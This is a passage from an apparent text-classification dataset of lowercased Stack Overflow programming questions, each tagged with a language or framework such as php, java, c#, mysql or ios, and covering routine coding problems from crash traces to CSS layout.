12:18:54.319: e/androidruntime(15805):    at com.android.internal.os.zygoteinit.main(zygoteinit.java:557) 12-03 12:18:54.319: e/androidruntime(15805):    at dalvik.system.nativestart.main(native method) </code></pre>   my on progress change:   <pre><code>@override     public void onprogresschanged(seekbar seekbar  int progress  boolean fromuser) {          // todo auto-generated method stub         if (mode.equals( camera )) {             campreview.zoomto(progress);         }      } </code></pre>,android
example or tutorial to deal with didrecievewarning in iphone  i want to know if there is any tutorial provided by apple people or any blog where i can learn how to deal with memory and view releasing when you get didrecievewarning in iphone.,iphone
is it possible to catch all selector calls and redirect them at runtime  i want to do something a little hacky.    when we try and call a method on a class where isn t defined we usually get an error  e.g.   <pre><code>// we get a undefined selector callback [myclass someundefinedmethod]; </code></pre>   i want to add something into <code>myclass</code> that catches all these undefined method calls and deals with it.  is this possible     i want something like this  but which will intercept all method calls:   <pre><code>@implementation myclass      - (void) performselector(sel):selector {            // check if the method exists           if (![self respondstoselector:selector]) {               // handle unimplemeted selector               nslog(@ no method called %@   selector);           }             // otherwise proced as normal           else {               [super performselector:selector];           }     }  @end </code></pre>,objective-c
mysql count chid types of each parent  i have a parent table like this:   <pre><code>id | name ------------- 1  | item a 2  | item b </code></pre>   and have a chid table with a column with 2 posible types   <pre><code>parent id | name       | type ------------------------------- 1         | subitem a  | t1 1         | subitem b  | t1 2         | subitem c  | t2 2         | subitem d  | t1 2         | subitem e  | t2 </code></pre>   there is a way to make a select with the following result    <pre><code>parent id |  childs type t1 | childs type t2 ----------------------------------------------- 1         |      2          |      0 2         |      1          |      2 </code></pre>   any ideas  thanks!!,mysql
how to run my script from another script and wait for finish   i need to call a script called build_report.php  pass in a url variable named partno and wait until it is finished before continuing.    this script builds a report and then an email is sent out to our customer so i don t want the email sent until the report is generated.    is this possible     which should i use exec or curl,php
how to add string representation of hex   i have a bunch of hex as strings.   <pre><code>str =  e79      # 0xe79 str2 =  1533a   # 0x1533a etc... </code></pre>   what s the best way to do some addition on these  for example  if i have <em>str =  e79 </em> and i want to add the decimal 37 to it to get <em>str =  e9e </em>,python
java local inner class in a method  how is it handled by the jvm   if you look at the method below you will se a declared local class in a method. the reason why  is that the styleit0 method for example is used several times and only in this method. it is only relevant to this method alone.     breaking it out to a private method does not make it very clear as to where it is used and what it does just by looking it. i find having large blocks of code unreadable and often would like to break pieces out in small methods  although they are only relevant to one method.     doing that for several methods in a class will make it very unclear where each private method is intended for and where it is used and that it is only used by a single method  compared to other private methods that might be shared between several methods.     that is why i sometimes prefer to declare other methods in a method. it would be great to be allowed to declare methods in a method in the  standard  fashion but the only way i believe something like that is possible up to java 6  is by declaring methods in a local innerclass in the method as seen below.     <strong>my question here is</strong>:     is there any performance concerns of such usage  what is the memory footprint for such a declared class and by repeated calls to a method with a local innerclass  will the jvm compile this class once  at compile time  or is it treated in some other way      <strong>other thoughts:</strong><br> local innerclasses cannot be declared static  and their methods and properties cannot be static. i wonder why!      now i am forced to create a new instance each time the method is called. it would have been great to have static methods in a local innerclass and i see no good reason as to why that couldn t be possible  inner methods would have been even better!    <strong>some</strong> might argue that this is way of coding is not useful  is ugly or that such classes could be declared somewhere else. please do not hijack the thread in that direction. i happen to find inner methods useful no matter what some might argue. my main interest relates to the performance issues of such usage in the java language.     thanks ( code below )   <pre><code>private void addbottomtable(slide slide  user user) {     class styler {          public void styleit0(richtextrun rt) {             rt.setfontname(font);             rt.setfontsize(12);             rt.setbold(true);         }          public void styleit1(richtextrun rt) {             rt.setfontname(font);             rt.setfontsize(10);             rt.setbold(true);         }          public void styletable(table table) {             // style the table             double numberofcakes = width / padding;             int firstcolumnwidth = (int) ((3 / 12d) * numberofcakes * padding); // take 3/12 of the cakes and calculate the width             table.setcolumnwidth(0  firstcolumnwidth);              table.setcolumnwidth(1  width - firstcolumnwidth - padding * 2); // minus padding because we use that one for moveto at the end  and we do want padding                                                                              // at the end             line border = table.createborder();             border.setlinestyle(line.pen_ps_dash);             border.setlinecolor(color.black);             border.setlinewidth(1.0);             table.setallborders(border);         }      }     styler styler = new styler();     employeecv employeecv = user.getemployeecv();                    table table = new table(3  2);             styler.styletable(table);              // == cells ==     // row 0 = specific strengths     textrun textrun = table.getcell(0  0).gettextrun();     richtextrun rt = textrun.getrichtextruns()[0];     rt.settext( specific strengths:  );     styler.styleit0(rt);      // content column     textrun = table.getcell(0  1).gettextrun();     rt = textrun.getrichtextruns()[0];      stringbuffer s = new stringbuffer();     list&lt;leadershiptopstrengths&gt; strengths = employeecv.gettopstrengthslist();     int i = 0;     while (i &lt; strengths.size()) {          leadershiptopstrengths strength = strengths.get(i);          if ( strength != null ) {             s.append(safeenumitemdescription(strength));              // add newline but not on the last one             if (i &lt; (strengths.size() - 1) )  {                  s.append(simple_newline);             }              rt.settext(s.tostring());             styler.styleit1(rt);         }          i++;     }              // row 1 = mobility     textrun = table.getcell(1  0).gettextrun();     rt = textrun.getrichtextruns()[0];     rt.settext( mobility:  );     styler.styleit0(rt);      // content column     textrun = table.getcell(1  1).gettextrun();     rt = textrun.getrichtextruns()[0];      s = new stringbuffer();     list&lt;internationalmobility&gt; mobilities = employeecv.getinternationalmobilitylist();     i = 0;     while (i &lt; mobilities.size()) {          internationalmobility mobility = mobilities.get(i);                     if(mobility != null){             s.append(safeenumitemdescription(mobility));                  // add newline but not on the last one             if (i &lt; (mobilities.size() - 1) )  {                  s.append(simple_newline);             }              rt.settext(s.tostring());             styler.styleit1(rt);          }         i++;     }                     // row 2 = additional     textrun = table.getcell(2  0).gettextrun();     rt = textrun.getrichtextruns()[0];     rt.settext( additional information:  );     styler.styleit0(rt);              // content column     // tablecell cell = table.getcell(2  1);       slide.addshape(table);     table.moveto(padding  height / 2 + padding * 2); // moveto must come after } </code></pre>,java
obtaining dev versions of new ios releases ahead of live launch  with the release of ios11  a few bugs were introduced into my ios apps due to my users updating.      therefore  i would like to know whether it s possible to obtain a  beta  or  pre-release/dev  version of the ios before it goes live so i can adapt to any breaking changes to ensure the app works as expected upon release.    thanks in advance,ios
josephus game using java  i am currently having problems with my josephus code.     the purpose of the code is to ask a user for 3 integers and then execute.     for some sequence of numbers it works perfectly while other sequences it produces the wrong output. for example if i enter 7(size)  1(holder) 3(pass). i get the last integer as 3 when it is suppose to be 2. i am also having an issue with the size not starting at 1.     for example if i define my size as 7  it is suppose to start at 1.2.3... but instead starts at 8.2.4..     i believe the problem lies with the deletelist method. since i notice that when the program reaches the sequence where the list is (2 3 5 7)  it does not delete properly. i can t figure why it is deleting 3 instead of 5.    <pre><code>       public void deletelist(int holder  int pass  int listsize){// method to determine which number gets deleted            while(listsize!= 1){            link current = find(holder  listsize);            link previous = first;             for(int i = 1; i &lt; pass; i++){              current = current.next;            }            previous = current;                 current = current.next;             if(current == first){                   first = first.next;            }           else{               previous.next = current.next;             }           holder = current.next.idata;           displaylist(--listsize);           }        } </code></pre>,java
how to break function execution after some time interval in php  i have php script for mail sending.first i get all record from db and and send mail of each customer.   <pre><code>function perform_task() {     // record selection and ther stuff     $status = mail();     // update status }  function mail() {     // $mail is smtp mail object     if ($mail-&gt;send()) {         return 1;     } else {         return 0;     } } </code></pre>   see above perform_task function.first i get all records and for each record i call mail() function to send mail but due to smtp detail server problem i can t get any response from mail function and after 5 minute my script break and gives me fatal error  and i can t update status in db.i want to handle this error.i want  to break mail function execution after 5 minute.if i get get any response from mail function then i want to update status fail.    is there anytimeout function in php,php
how to return a value to the calling function without using return statement   the function proto type like int xxxx(int) or void xxx(int),c
make a connect and disconnect button in vsb  i m new to programming with vsb and can t seem to figure this issue out.    i have a basic program that will connect and disconnect to a users airplane. for now  if you enter the callsign  vir12e  into the textbox and hit the  connect  button  the  connect  text turns into  disconnect .     what i want to do now is make the disconnect button work  to where when you click the  disconnect  button  the text turns back into  connect .    here is my code:   <pre><code>public class form1 private sub connect_click(sender as object  e as eventargs) handles connect.click     if textboxmessage.text =  vir12e  then         connect.text =  disconnected      elseif trim(textboxmessage.text &amp; vbnullstring) = vbnullstring then         connect.text =  connect          instructions.visible = true     end if end sub  private sub connect_click(sender as object  e as eventargs) handles connect.click     connect.text =  connect  end sub end class </code></pre>   i am getting below error:   <pre><code>  private sub connect_click(sender as object  e as eventargs)  has multiple definitions with identical signatures.  </code></pre>,.net
im getting error unable to read beyond the end of the stream why   the testing.res file is 240mb size. i want to read it. but im getting the error on this line:   <pre><code>int v = br.readint32(); </code></pre>   endofstreamexception unable to read beyond the end of the stream   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.windows.forms; using system.io;  namespace windowsformsapplication1 {     public partial class form1 : form     {         public form1()         {             initializecomponent();              r();         }          private void form1_load(object sender  eventargs e)         {          }          public void r()         {             using (var br = new system.io.binaryreader(file.open(@ d:\testing.res   filemode.open)))             {                 // 2.                 // position and length variables.                 int pos = 0;                 // 2a.                 // use basestream.                 int length = (int)br.basestream.length;                 while (br.basestream.position &lt; length)                 {                     // 3.                     // read integer.                     int v = br.readint32();                     textbox1.text = v.tostring();                 }              }         }     } } </code></pre>   the exception:   <pre><code>system.io.endofstreamexception was unhandled   message=unable to read beyond the end of the stream.   source=mscorlib   stacktrace:        at system.io.binaryreader.fillbuffer(int32 numbytes)        at system.io.binaryreader.readint32()        at windowsformsapplication1.form1.r() in d:\c-sharp\binaryreader\windowsformsapplication1\windowsformsapplication1\form1.cs:line 41        at windowsformsapplication1.form1..ctor() in d:\c-sharp\binaryreader\windowsformsapplication1\windowsformsapplication1\form1.cs:line 19        at windowsformsapplication1.program.main() in d:\c-sharp\binaryreader\windowsformsapplication1\windowsformsapplication1\program.cs:line 18        at system.appdomain._nexecuteassembly(runtimeassembly assembly  string[] args)        at system.appdomain.executeassembly(string assemblyfile  evidence assemblysecurity  string[] args)        at microsoft.visualstudio.hostingprocess.hostproc.runusersassembly()        at system.threading.threadhelper.threadstart_context(object state)        at system.threading.executioncontext.run(executioncontext executioncontext  contextcallback callback  object state  boolean ignoresyncctx)        at system.threading.executioncontext.run(executioncontext executioncontext  contextcallback callback  object state)        at system.threading.threadhelper.threadstart()   innerexception:  </code></pre>,c#
what is message in objective-c   what is message in objective-c,objective-c
what is assemblyinfo.cs used for   my question is pretty basic.  what i d like to know is what is the assemblyinfo.cs file used for,.net
css pushing container down after button  ah  yet another css issue i m having.    i m attempting to use custom buttons  replacing a linkbutton with an image. i have the button working  but now the content below the button is not being pushed down. have tried various things  but can t seem to find the answer.    here s a jfiddle: <a href= http://jsfiddle.net/3hm5w/  rel= nofollow >http://jsfiddle.net/3hm5w/</a>    basically  the div id = sampleform (the white form box) should start 5px after the div class = action-buttons. currently the white box contains the red button.,css
html span tag question  i was wondering can i wrap a span tag around multiple a tags and another span tag     here is the html code.   <pre><code>&lt;span&gt;     &lt;a href= # &gt;link&lt;/a&gt;     &lt;span&gt;|&lt;/span&gt;     &lt;a href= # &gt;link&lt;/a&gt;     &lt;a href= # &gt;link&lt;/a&gt;     &lt;a href= # &gt;link&lt;/a&gt;     &lt;a href= # &gt;link&lt;/a&gt; &lt;/span&gt; </code></pre>,html
set scroll for checkboxlist in asp.net code behind   i have tried the following code but its not working. please help me for finding the solution.    <em>source code:</em>   <pre><code>checkboxlist chklstproducts = new checkboxlist(); chklstproducts.datasource = lstproduct; chklstproducts.id =  chklstproducts  + (i + 1); chklstproducts.datavaluefield =  productid ; chklstproducts.datatextfield =  productname ; chklstproducts.databind(); cell6.height = 20; </code></pre>   thanks in advance,asp.net
python __new__ - how can cls be different than class that __new__ is in  <a href= https://docs.python.org/3/reference/datamodel.html#object.__new__  rel= nofollow >documentation for <code>object.__new__(cls[  ...])</code> says:</a>   <blockquote>    called to create a new instance of class <code>cls</code>. __ <code>new</code> __ is a static   method (special-cased so you need not declare it as such) that takes   the class of which an instance was requested as its first argument.  </blockquote>   so if you have <code>var = myclass()</code> and   <pre><code>class myclass:     def __new__(cls):         ... </code></pre>   won t <code>cls</code> always be equal to <code>myclass</code>,python
is there any broadcast activity/services for sending an sms   i want to goes through some condition statement when a user hit a  send sms  button and thus if condition is satisfied then send the sms otherwise abort the composed sms !  can any one help me,android
php get table structure  i have the following function that returns all of the required table information for the columns ect.  it works great until i amend the table structure. if i add a new column and run the code   it still returns the information  the original  table structure information.    so  how do i get it to return the information including any changes to the columns etc.  thanks in advance.   <pre><code>$columns = array();  try {     $rs = $dbo-&gt;query( select * from  .$thistable.  limit 0 );     for ($i = 0; $i &lt; $rs-&gt;columncount(); $i++) {         $columns[$i] = $rs-&gt;getcolumnmeta($i);     }     $arr = array( error  =&gt;  success );     $thisdata = array_merge($arr  $columns); } catch(pdoexception $pe) {     $thisdata = array( error  =&gt;  nodata ); } return $thisdata; </code></pre>,php
any faster way to pick minimum number from an integer array   for example i have an array like below:   <pre><code>int[] arrayone = new int[10]{3 1 29 5 2 4 7 10 38 42}; </code></pre>   and below are my method to pick the minimum number from the array   <pre><code>       int pickminnumber (int[] intarray)         {           int result = intarray[0];           for (int i = 0; i &lt; arrayone.length; i++)            {                 if(intarray[i] &lt; result)                    result = intarray[i];            }           return result;         } </code></pre>   are there any quicker way to pick the minimum number,c#
why would you return(0*ap++)   it s k&amp;r-c and here is the whole code: <a href= http://v6shell.org/history/if.c  rel= noreferrer >http://v6shell.org/history/if.c</a>    look at this function:   <pre><code>char *nxtarg() {     if (ap&gt;ac) return(0*ap++);     return(av[ap++]); } </code></pre>   <strong>1.question:</strong>  why return (0*ap++)  okay you want to return 0 and increase ap by 1. but why like this  is it faster than <code>if (ap&gt;ac) {ap++; return 0;}</code>     <strong>2.question:</strong> the return type of nxtarg has to be <strong>char*</strong>  why can you return 0  an integer,c
nsstring - how to check if it contains quotation marks < >  [[somestring substringtoindex:0] is equaltostring:@   ];  makes red  the rest of the code. actually i can t put quotation marks inside quotation marks. still  this is the character i want to reffer. how should i do it in the correct way  thanks,objective-c
loading picture show loading progress  i use the function to show picture:   <pre><code>bitmap imagebitmap = loadbitmap(url); </code></pre>   loadbitmap() as below:   <pre><code>private bitmap loadbitmap(string url) { try { bitmap bm = bitmapfactory.decodestream((inputstream)this.fetch(url)); return bm; } catch(exception e) { e.printstacktrace(); return null; } }  </code></pre>   and fetch() below:   <pre><code>public object fetch(string address) { try { url url = new url(address); object content = url.getcontent(); return content; } catch(exception e) { e.printstacktrace(); } return this; } </code></pre>   i want to show the loading progress or a load.png while it loading. and end with the picture loading finish and show it. how can i do  i try to make like progressdialog. but i don t know how to use,android
problem in memory allocation for strcture array  <pre><code>int unsigned long size=(atoi(argv[2]))+1;  printf( \nthe size is %lu  size); printf( \n am here 1 );  if( (what_if_var=malloc((size)*sizeof(what_if)))== null) {     exit( -1 ); }  if((temp_var =malloc((size)*sizeof(what_if)))== null) {     exit( -1 ); } </code></pre>   when i give <code>argv[2]</code> as 367000 the memory allocation working fine  but when i gave <code>argv[2]</code> as more than 380000 the program got exit  is there is any other way to achieve this,c
int32.tryparse error  i m getting an error  invalid expression term  int   on the if statement below:   <pre><code>if(int32.tryparse(result.tables[0].rows[i][26].tostring()  out int number))  {     command.parameters[ @evalpoints ].value = number; } else {     command.parameters[ @evalpoints ].value = 0; } </code></pre>   i ve been staring at it for an hour and have no idea what s wrong.,c#
rails where to put api calls so it doesn t slow down the app   i current have a loop in my <strong>show.html.erb</strong>  and within each loop it s making the following call   <pre><code>&lt;p&gt; the above tweet is &lt;%= (indico.sentiment_hq(tweet.text)*100).round(2)%&gt;% positive&lt;/p&gt; </code></pre>   although this works perfectly  it really does slow down the application a lot. with each loop i am calling a new <code>indico.sentiment_hq()</code>  which really is not ideal.    what is the rails way to call the same api repeatedly  i thought about storing it in the model  but was wondering if there are any other way.,ruby-on-rails
crash with uitabbarcontroller  sometimes i have strange crash when i switch from one tab to another:   <pre><code>0   libobjc.a.dylib                     0x3857e636 objc_msgsend + 22 1   uikit                               0x3024ca89 -[uiresponder(internal) _canbecomefirstresponder] + 21 2   uikit                               0x3024c7a3 -[uiresponder becomefirstresponder] + 207 3   uikit                               0x3024caff -[uiview(hierarchy) becomefirstresponder] + 107 4   uikit                               0x302c946b -[uitextfield becomefirstresponder] + 47 5   uikit                               0x302ca345 -[uiview(hierarchy) deferredbecomefirstresponder] + 57 6   uikit                               0x301cd441 __45-[uiview(hierarchy) _postmovedfromsuperview:]_block_invoke + 165 7   foundation                          0x2e304d33 -[nsisengine withbehaviors:performmodifications:] + 211 8   uikit                               0x301cd291 -[uiview(hierarchy) _postmovedfromsuperview:] + 297 9   uikit                               0x301da01d -[uiview(internal) _addsubview:positioned:relativeto:] + 1413 10  uikit                               0x301d9a93 -[uiview(hierarchy) addsubview:] + 31 11  uikit                               0x302bb563 -[uitransitionview transition:fromview:toview:removefromview:] + 979 12  uikit                               0x302fb783 -[uitransitionview transition:fromview:toview:] + 31 13  uikit                               0x302fb759 -[uitransitionview transition:toview:] + 105 14  uikit                               0x302fa87b -[uitabbarcontroller transitionfromviewcontroller:toviewcontroller:transition:shouldsetselected:] + 1107 15  uikit                               0x302fa41f -[uitabbarcontroller transitionfromviewcontroller:toviewcontroller:] + 39 16  uikit                               0x302fa2f7 -[uitabbarcontroller _setselectedviewcontroller:] + 259 17  uikit                               0x303c45c9 -[uitabbarcontroller _tabbaritemclicked:] + 273 18  uikit                               0x302036c7 -[uiapplication sendaction:to:from:forevent:] + 91 19  uikit                               0x30203663 -[uiapplication sendaction:totarget:fromsender:forevent:] + 39 20  uikit                               0x303c447f -[uitabbar _sendaction:withevent:] + 371 21  uikit                               0x302036c7 -[uiapplication sendaction:to:from:forevent:] + 91 22  uikit                               0x30203663 -[uiapplication sendaction:totarget:fromsender:forevent:] + 39 23  uikit                               0x30203633 -[uicontrol sendaction:to:forevent:] + 47 24  uikit                               0x301eed7b -[uicontrol _sendactionsforevents:withevent:] + 375 25  uikit                               0x303c41a7 -[uitabbar(static) _buttonup:] + 119 26  uikit                               0x302036c7 -[uiapplication sendaction:to:from:forevent:] + 91 27  uikit                               0x30203663 -[uiapplication sendaction:totarget:fromsender:forevent:] + 39 28  uikit                               0x30203633 -[uicontrol sendaction:to:forevent:] + 47 29  uikit                               0x301eed7b -[uicontrol _sendactionsforevents:withevent:] + 375 30  uikit                               0x3020307b -[uicontrol touchesended:withevent:] + 595 31  uikit                               0x30202d4d -[uiwindow _sendtouchesforevent:] + 529 32  uikit                               0x301fdca7 -[uiwindow sendevent:] + 759 33  uikit                               0x301d2e75 -[uiapplication sendevent:] + 197 34  uikit                               0x301d1541 _uiapplicationhandleeventqueue + 7121 </code></pre>   maybe for someone this will look familiar and he could help to understand root of problem.,ios
http.client.remotedisconnected for random files from list of urls  i wrote a script to automaticly download files from a list of urls using urllib.request.   <pre><code>for url in addresses:     file_name = url.rsplit( /   1)[-1]     file = os.path.join(directory  file_name)     urllib.request.urlretrieve(url  file)     print(  %-15s %-10s %25s  % ( --   file_name   downloaded )) </code></pre>   and sometimes i get <code>raise remotedisconnected( remote end closed connection without  http.client.remotedisconnected: remote end closed connection without response</code> and the script stops. there are like 100 urls in the list and i can get that error when downloading 3rd  25th or 89th file  whatever. i mean i can get that error for n th file  but when i run my sript again  the n th file could be downloaded correctly. it s random.    how to fix that,python
which doctype should i use   which doctype should i use  if i want to use costumizable divs. with divs animation  images moving  setting div opacity  etc.    i ve tried to create a div through javascript  setting its background-color  position  width and height  and adding an onmouseover event to it.    everything works ok untill i wanted to put a doctype at my html.    i ve tried the transitional and strict  both made my div disappear.    so i ve inserted the html5 type of doctype and my div appeared ok.    well  i want to make my website with html4.    is it possible,html
nomethoderror in roasts#index - undefined method `each  for nil:nilclass  i was just updating two column names in two models  (<code>countries</code> &amp; <code>regions</code>) and now when looking at pages for another model <code>roasts</code>  i m suddenly getting a nomethoderror.  i can t work out what i ve done.  i just rolled back the two migrations  and as i suspected  this hasn t resolved the issue. there is a relation in that <code>roasts</code> <code>has_many :countries</code>  and <code>countries</code> <code>has_many :regions</code>. i have a nested form to add countries and regions on the roasts#new form.    just can t spot what i ve messed up.    <strong>roasts_controller.rb</strong>   <pre><code>class roastscontroller &lt; applicationcontroller has_many :countries       accepts_nested_attributes_for :countries    def index       @q = roast.ransack(params[:q])       @roastsalpha = @q.result.order(:name)       @roastcount = roast.count(:country)       @roasts = roast.all   end </code></pre>   <strong>roasts/index.html.erb</strong>   <pre><code>&lt;% @roasts.each do |roast| %&gt;  &lt;div class= card &gt;   &lt;div class= card-block &gt;     &lt;div class= media &gt;       &lt;div class= media-body &gt;         &lt;%= link_to roast_path(roast) do %&gt; &lt;h3 class= mt-0 &gt;&lt;%= roast.name %&gt;&lt;/h3&gt;&lt;% end %&gt;         by &lt;%= roast.roaster %&gt;&lt;br /&gt;         &lt;hr /&gt;         &lt;i class= fa fa-filter  aria-hidden= true &gt;&lt;/i&gt; - &lt;%= roast.bestfor %&gt;&lt;br /&gt;         &lt;i class= fa fa-tint  aria-hidden= true &gt;&lt;/i&gt; - &lt;%= roast.roast %&gt;&lt;br /&gt;         &lt;i class= fa fa-sticky-note-o  aria-hidden= true &gt;&lt;/i&gt; - &lt;%= roast.tastingnotes %&gt;&lt;br /&gt;         &lt;hr /&gt;         &lt;p&gt;&lt;small&gt;added on - &lt;%= roast.created_at.strftime( %e %b %y ) %&gt;&lt;/small&gt;&lt;/p&gt;       &lt;/div&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt; &lt;br /&gt;  &lt;% end %&gt; </code></pre>,ruby-on-rails
reading ini files using nini / .net  i m using  nini  to read ini files. it works well but i ve just found a problem that could be a bug. do you know it     the situation is when i read a string (using  get  or  getstring  functions) which contains = or   signs nini stop reading the rest of the line and ignore it. it seems that it stops reading after some characters  but i couldn t find a document that describes it or what chars are ignored.    let me know if you know about it.    thanks,.net
what is activity.setdefaultkeymode   i am looking into api document about activity. i see a method  setdefaultkeymode   but i can t understand clearly what it is for. would anybody please explain about which all key is affected and how does the default behaviour differ from other options.,android
define global nsmutablearray  is there a way to define a global nsmutablearray  i d like to be able to declare the array so i can access/modify it across a series of instance methods. here is the code that i have below and want to make sure this is how i should do it.   <pre><code>@interface mainviewcontroller : uiviewcontroller &lt;flipsideviewcontrollerdelegate&gt; {     nsmutablearray *sizedwordlist; } </code></pre>   in the .m:   <pre><code>sizedwordlist = [[nsmutablearray alloc] init];  - (void)dealloc {     [sizedwordlist release]; } </code></pre>,objective-c
passing parameters to nested routes  i am working on an angular app and i am trying to achieve the following routes:   <pre><code>/networks /network/nameofnetwork /network/nameofnetwork/shows /network/nameofnetwork/show/nameofshow </code></pre>   my problem is that i can get to all of the routes but the only state param that is being called is the name of network but not the show. heres my module:   <pre><code>angular.module( network  [])     .config([ $stateprovider  function($stateprovider){         $stateprovider             .state( networks  {                 url:  /networks                   templateurl: /templates/network/networks.tpl.html                   controller:  viewnetworksctrl              })             .state( network  {                 url:  /network/:username                   templateurl: /templates/network/network.tpl.html                   controller:  viewnetworkctrl              })             .state( network.schedule  {                 url:  /schedule                   templateurl: /templates/network/schedule.tpl.html                   controller:  networkschedulectrl              })             .state( network.shows  {                 url:  /shows                   templateurl: /templates/network/shows.tpl.html                   controller:  networkshowsctrl              })             .state( network.show  {                 url:  /show/:slug                   templateurl: /templates/network/show.tpl.html                   controller:  networkshowctrl              });     }])   .controller( viewnetworksctrl  [ $scope  function($scope){}]) .controller( viewnetworkctrl  [ $scope   $stateparams  function($scope  $stateparams){     console.log($stateparams);       }]) .controller( networkschedulectrl  [ $scope  function($scope){}]) .controller( networkshowsctrl  [ $scope  function($scope){}]) .controller( networkshowctrl  [ $scope   $stateparams  function($scope  $stateparams){     console.log($stateparams); }]); </code></pre>,angularjs
update column with comma separated value  in my sql table  i have a column named  user_id  with comma separated value like this: a b c d and i just wonder how can i update this column without removing old values. i want to update this column to a b c d e and in other step to a b c d e f.    i wrote this query  but it removes old values and does not not update values with comma separated list:   <pre><code>update multiusers set user_id =    . $userid .    where hwid =    . $hwid.    </code></pre>,sql
log when a row is deleted from a given table in mysql  i have a mysql-table that s accessed from different apis. i would like to log when any rows are deleted from this table. is this possible,mysql
during the publishing of a .net web application  what s the best way to make the application unavailable to users   when you publish a .net application - what s the easiest way to put something up for users that says  this application is currently being upgraded  please try later,asp.net
i need a deep explanation of javascript iterables.  why we need them and how they are used as well as adding the iterable functionality to an object that does not have it. this seems like a topic only skimmed over in general.,javascript
ios /usr/bin/codesign failed with exit code 1 saying that app is a directory  i have an ios application that used to run in my device and in the simulator without any problem. i had to make some changes in the app directory structure and i created another project and imported the old app files. after that i receive the error command /usr/bin/codesign failed with exit code 1 telling that the app was an directory as a matter if fact it is because i look at it using finder. but any other app is in fact a directory and run ok.    when i try to run in the simulator xcode says that i have no permission to run the app.    i have tried all the solutions posted in stackoverflow and other forum with no success.    any idea. thanks,ios
rails 4: has_one polymorphic association not working  i have two models <code>purchase</code> and <code>address</code>. i m trying to make <code>address</code> polymorphic so i can reuse it in my <code>purchase</code> model for <code>has_one :billing_address</code> and <code>has_one :shipping_address</code>. here s my schema:   <pre><code>create_table  addresses   force: true do |t|   t.string    first_name    t.string    last_name    t.string    street_address    t.string    street_address2    t.string    zip_code    t.string    phone_number    t.datetime  created_at    t.datetime  updated_at    t.integer   state_id    t.string    city    t.string    addressable_type  #&lt;--    t.integer   addressable_id    #&lt;-- end </code></pre>   address model:   <pre><code>class address &lt; activerecord::base   belongs_to :addressable  polymorphic: true   ... end </code></pre>   purchase model:   <pre><code>class purchase &lt; activerecord::base   has_one :shipping_address  as: :addressable   has_one :billing_address  as: :addressable   ... end </code></pre>   everything looks fine to me  but my rspec tests fail:   <pre><code>    failures:        1) purchase should have one shipping_address          failure/error: it { should have_one(:shipping_address) }            expected purchase to have a has_one association called shipping_address (shippingaddress does not exist)          # ./spec/models/purchase_spec.rb:22:in `block (2 levels) in &lt;top (required)&gt;         2) purchase should have one billing_address          failure/error: it { should have_one(:billing_address) }            expected purchase to have a has_one association called billing_address (billingaddress does not exist)          # ./spec/models/purchase_spec.rb:23:in `block (2 levels) in &lt;top (required)&gt;  </code></pre>   it doesn t seem to be detecting that the association is polymorphic. even in my console:   <pre><code>    irb(main):001:0&gt; p = purchase.new     =&gt; #&lt;purchase id: nil  user_id: nil  order_date: nil  total_cents: 0  total_currency:  usd   shipping_cents: 0  shipping_currency:  usd   tax_cents: 0  tax_currency:  usd   subtotal_cents: 0  subtotal_currency:  usd   created_at: nil  updated_at: nil  status: nil&gt;     irb(main):002:0&gt; p.shipping_address     =&gt; nil     irb(main):003:0&gt; p.build_shipping_address     nameerror: uninitialized constant purchase::shippingaddress </code></pre>   what am i doing wrong,ruby-on-rails
how to add attributes to a base class s properties  i have a couple model classes like so:   <pre><code>public class mymodelbase {     public string name { get; set; } }  public class mymodel : mymodelbase {     public string someotherproperty { get; set; } } </code></pre>   how can mymodel add a [required] attribute to the name property,c#
wants that when i click on the any index hyperlink  then it is displayed on main discription page  i have made an web page.there are two iframes in it.first is of index and second one is description page.i wants that when i click on the any index hyperlink  then it is displayed on main discription page. how it will be possible please give me the html code,html
merge two field into the first field where product_id is the same and attribute_id is 53 or 54  i m trying to enter this question as specifically as possible    in mysql i have a table oc_product_attribute    i have a table what looks like this   <pre><code>------------------------------- |product_id|attribute_id|text | ------------------------------- |2125      |53          |text1| |2125      |54          |text2| |2356      |53          |text3| |2356      |54          |text4| ------------------------------- </code></pre>   i want to get rid of attribute_id 54 and append the text in this field to the text in attribute_id 53 with a comma as separator.    so basicly to look like this:   <pre><code>-------------------------------------- |product_id|attribute_id|text        | -------------------------------------- |2125      |53          |text1  text2| |2356      |53          |text3  text4| -------------------------------------- </code></pre>   i also have other attribute_is s which i don t want to change.    anyone know how to,mysql
inline-block works sometimes  hey guys having a nightmare at the moment i m unsure what is causing this bizarre problem.    basically sometimes the elements i have set as inline-block s work and then when i refresh the browser they decide they no longer want to be inline.    here is my html:   <pre><code>      &lt;div class= col-md-8 col-sm-8 col-lg-8 &gt;         &lt;div class= listing-container &gt;           &lt;h3 class= model-listing-title clearfix &gt;2011 (11) mercedes-benz c class c250 cdi blueefficiency sport 4dr auto&lt;/h3&gt;           &lt;h3 class= price-listing clearfix &gt;£17 998&lt;/h3&gt;         &lt;/div&gt;         &lt;div class= listing-container-spec &gt;           &lt;img src= media/img/mercedes-test.jpg  alt= mercedes-benz /&gt;         &lt;/div&gt;       &lt;/div&gt; </code></pre>   here is my css:   <pre><code>.listing-container {     background-color:#dddddd;     padding:0;     border-radius:6px 6px 0 0;     -moz-box-shadow:inset 0 0 10px #000000;     -webkit-box-shadow:inset 0 0 10px #000000;     box-shadow:inset 0 0 5px #9e9e9e;     padding:1px 10px;     overflow:auto; }  .listing-container-spec {     background-color:#153066;     width:100%;     height:auto;     display:block;     position:relative; }  .listing-container-spec img {     max-width:60%;  }  .model-listing-title {     font: 600 1.5em  open sans   sans-serif;     margin-top:0.1em;     display:inline-block;     width:75%; }    .price-listing {     font: 700 2em  open sans   sans-serif;     margin-top:0.1em;     display:inline-block;     float:right;     margin-top:0.1em; } </code></pre>   this is what it should look like:    <img src= https://i.stack.imgur.com/vlemm.png  alt= expected behavior >    this is after a few refreshes:     <img src= https://i.stack.imgur.com/3frti.png  alt= erratic behavior >    i am using bootstrap just so you know  however if i put that code into jsfiddle it works fine however on my live site it changes it position on nearly every refresh.    any idea why this might be happening     here is the live example: <a href= http://dealerbyte.co.uk/used-cars.php  rel= nofollow noreferrer >http://dealerbyte.co.uk/used-cars.php</a>,css
c - casting function call return values to void  in our source code there are function calls like these where the return value gets cast to <code>void</code>:   <pre><code>(void) pthread_mutex_lock(&amp;mutex); </code></pre>   what s the purpose of this,c
